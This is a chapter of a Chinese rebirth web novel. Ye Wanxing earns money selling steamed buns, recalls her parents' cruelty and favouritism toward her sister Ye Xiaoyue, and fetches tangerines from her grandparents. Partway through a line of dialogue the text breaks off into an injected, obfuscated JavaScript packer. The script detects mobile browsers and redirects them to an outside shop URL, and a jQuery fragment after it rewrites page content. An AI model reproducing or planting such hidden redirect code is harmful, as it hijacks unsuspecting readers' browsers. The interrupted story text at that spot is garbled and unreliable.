叶晓月原以为这事板上钉钉,再无变化了。
可一连十来天,叶建国和李秀华每天赶早就骑着摩托车去给人修房子做工,快天黑的时候才带着一身灰尘和疲惫归家,对她和唐鹏飞的事更是绝口不提。
她实在忍不住提及,换来的却是叶建国和李秀华劈头盖脸的一顿数落。
“催催催,你就这么急着恨嫁吗?”
“没看到我们每天都忙成什么样子了?”
“真的是白养你了……”
叶晓月不甘心地回嘴:“那先下定总可以吧?”
重生回来,确实是难得的机遇,可同时就等于她还要再重过一遍苦日子。
叶晓月一点都不想吃苦,她只想享福。
面对她这份急切的催促,叶建国仍旧只是丢下一句:“等着!”
叶晓月又气又急,一时间却也没有其它更好的办法。
好在的是,赵桂香现在不反对他们的事情了。
唐鹏飞每天还能从她手里要到十块钱的“恋爱经费”。
十块钱在这时的购买力还是很强的,足够唐鹏飞带着叶晓月去县城看个电影、中午再吃碗米粉,或者是带她去四方镇上的录像厅看影片,中午再在镇子上吃点其它的东西。
而对叶晚星来说,她最不怕的就是吃苦。
叶建国和李秀华每天早上前脚刚一出门,她就抓紧时间骑着自行车去不同的乡镇赶集。
她都是赶的早集,随着出摊的次数多了,还打出了一些口碑,每天的收益也都能稳定在五十块钱左右了。
每次叶晚星刚一到集市,摊位面前就挤满了抢购馒头的人,要不了多久就能卖完回家走人了。
因此这些天里,他们三人倒是一次都没有正面撞上。
如今叶晚星的手里已经积攒了六百多块。
然而做馒头卖挣得就是份辛苦钱,最重要的是单靠她自己,哪怕一天从早到晚不带停歇地去忙碌,天花板也只有这么高。
叶晚星就一边售卖着馒头,一边也在观察着市场,寻摸更合适的吃食生意。
比较了一圈之后,她将目标对准了年货。
“有钱没钱,回家过年”,这句话可是道尽了春节在国人心中的分量。
年货市场的需求一直都是巨大的。
而且越是临近年底,人们对吃食的需求和花费就越发大方。
*
这天晚上。
劳累了一天的叶建国和李秀华回来后,坐在餐桌上边吃话边互相使眼色。
叶晓月毫无察觉。
但叶晚星从小被他们贬低、打压和责骂,对父母的察言观色早刻进了骨子里。
毫不夸张地说,他们哪怕只是简单的咳嗽一声或是抬一下手,叶晚星就知道他们下一步是要干什么了。
事实上,叶建国和李秀华心里也急。
只是和叶晓月期盼的方向不同。
叶晚星加快了吃饭的速度。
果然,下一秒。
李秀华就朝她指派任务:“你去你爷奶家摘点桔子,说是给你姑捎带的。”
说完,她又对着叶晓月道:“明天你跟我一起去县城。”
别看李秀华每当看到叶晚星从叶家老两口或是大房家拿回点东西,她总会对着叶晚星骂得格外的难听。
什么“眼皮子浅”、“没出息”、“跟讨饭似的”都能说出口。
可一旦她自己想要老宅那边的什么东西,却又能理所当然的指派叶晚星去讨要。
仿佛只要不经李秀华的手,便不算是她得了那边的好处。
叶晚星此时的心里也跟明镜似的。
以她对叶建国和李秀华的了解,当时只是眼见着叶晓月一副铁了心的样子,再加上唐家人也在一旁看着,只能先找个借口拖着这事。
如果不出意外的话,李秀华明天其实是要将叶晓月带去县城找叶志华,帮忙介绍对象相看,好彻底断了跟唐鹏飞的事。
叶晚星并不准备拆穿,只低着头应了一声,放下碗筷拿起空背篓就往外面走。
身后,正传来叶晓月的疑惑询问:“妈,突然去姑姑家做什么?”
李秀华含糊其辞地道:“还能是为什么?快过年了,去县城给你和家宝买一身过年穿的新衣裳!”
叶晓月一听,可高兴了。
她本来就爱打扮。
如今的她又是重生回来的,每天看着衣柜里为数不多,还不好看的衣裳就越发想要快点嫁给唐鹏飞,过上富足的好日子。
现在的叶晓月就只能抱着李秀华的胳膊撒娇:“妈,你明天多带点钱嘛,我想再多买一身。”
李秀华没好气地道:“行行行,再多给你买一身。”
至于叶晚星,李秀华提都没提及。
很明显这次的过年采购新衣裳,她又不会有了。
叶晚星很清楚地记得,上辈子她还小的时候,有一年过年,李秀华赶完集回来,给叶晓月和叶家宝各买了一身新衣服。
她看着弟弟妹妹欢天喜地地试穿新衣裳,内心实在渴望得厉害,鼓起勇气眼巴巴地走到李秀华面前问:
“妈,我没有吗?”
换来的却是李秀华毫不客气的一顿责骂:“你妹妹给了你那么多的衣裳,还不够你穿的吗?我们那个时候哪里有这么多好衣服穿?”
可即便是在李秀华的小时候,因为布匹紧缺,也都是年纪更小的去捡上面大的旧衣服穿。
而不是像叶晚星这样,去捡比她还小一岁半的妹妹叶晓月的旧衣裳。
李秀华却从来不觉得她这么做有什么不对。
她还继续数落叶晚星:“你都这么大的人了,真是一点事都不懂,以为我跟你爸挣钱是很容易的吗?”
叶晚星只觉得特别特别的委屈和难过。
她平时那么努力地勤快干活,就是在体谅父母的辛苦和难处。
而那时的她只是看着妹妹和弟弟在过年都能有新衣裳穿,心里没法不去羡慕和渴求。
于是叶晚星没忍住哭了起来。
结果被李秀华看到了,换来的是她劈头盖脸又一顿辱骂和贬低。“哭什么哭,摆出这副样子是要给谁看?整得好像我是个后妈,在虐待你一样!”
“你也不看看你长得这么丑,皮肤黑得跟煤球一样的,再好的衣裳穿到你身上都好看不起来了……”
而叶晓月和叶家宝往往就会在一旁幸灾乐祸地嘲笑。
李秀华骂完还觉得不解气。
等叶建国回来后,她又添油加醋地告状叶晚星刚才哭了的事:“这死丫头看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179142|196933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可心机,可会跟弟弟妹妹计较攀比了……”
叶建国听完,不出意外地又会铁青着脸怒骂叶晚星。
从那之后,叶晚星就再也不敢跟他们讨要任何的东西。
……
“晚星,你咋过来了?”
周细兰的声音骤然响起,打断了她的回忆。
叶晚星这才注意到她不知不觉中已经走到了老宅,周细兰正端着一竹筛的干红薯往屋里收。
那晚发生的事情,周细兰当时就听公婆回来说了。
她有心想去看看叶晚星,上午过去了几次,结果都没碰上人。
等到了下午,周细兰又怕撞上叶晓月回来,到时候被叶晓月拿到李秀华面前告一状,叶晚星怕是又要挨好一顿训斥和辱骂了。
叶晚星收敛好情绪,喊了声:“大伯娘。”然后说明来意:“我妈说明天要去县城看姑姑,让我找爷奶要点桔子。”
周细兰对妯娌李秀华又搞这套装清高的做派,鄙夷地撇了撇嘴。
但对着叶晚星,她语气很温和:“这天都黑了,你去地里摘也不方便,堂屋里就有我下午才摘回来的,你直接拿走吧。”
叶晚星应着:“好,谢谢大伯娘。”
她走过去,顺手就帮着周细兰去收剩下的竹筛。
这时,屋里的人也听见了外面的动静。
叶建军还走出来看了看。
叶晚星又喊了声:“大伯。”
叶大伯刚应下。
周细兰忙催促丈夫:“快去给晚星装一背篓的桔子。”
那边叶奶奶一听,立马也猜到了这一准是小儿媳妇指挥叶晚星来要的。
毕竟之前她喊过叶晚星摘桔子回去吃,叶晚星都没要。
虽然不管是哪一个想吃桔子,叶奶奶都愿意给的。
但叶奶奶想到李秀华的这种行为心里就不舒坦,只是顾忌着叶晚星在场,到底什么都没说。
不管怎么样,李秀华都是叶晚星的亲妈。
这就好比他们一直看不惯叶建国和李秀华对叶晚星的苛待刻薄,却迟迟没有人插手去管一样。
终究是管得了一时,管不了一世。
……
可当叶晚星背着一背篓的黄灿灿的桔子回家时,依然没能逃过李秀华的白眼和阴阳怪气。
“我说要一背篓的桔子,拿去县城稍带给志华,你爷奶和大伯娘还就真的只给一背篓了呀?”
她说着,扭头就又看向叶建国:“看看你爸妈,再看看你大哥大嫂。”
“十几棵的桔子树呢,今年的果子又结了那么多,人家就没想着要给咱们送点桔子过来……”
“就连我特意打发人去要,都讨不来咱们那一口桔子吃!”
叶建国被她一番拱起火来,脸色铁青。
他火大道:“不给就不给!”
“咱们又不缺这几个桔子吃!”
“你要实在很想吃桔子,明天拿钱去县城买几筐回来!”
李秀华却不依不饶:“你冲我发什么邪火?又不是我有那么多桔子还不舍得给你!这可不一直都是你的好爸妈,好哥嫂在做的事……”
最终,叶建国烦躁地打断道:“行了!还有完没完啊?”
李秀华这才不高兴地翻着白眼住了嘴。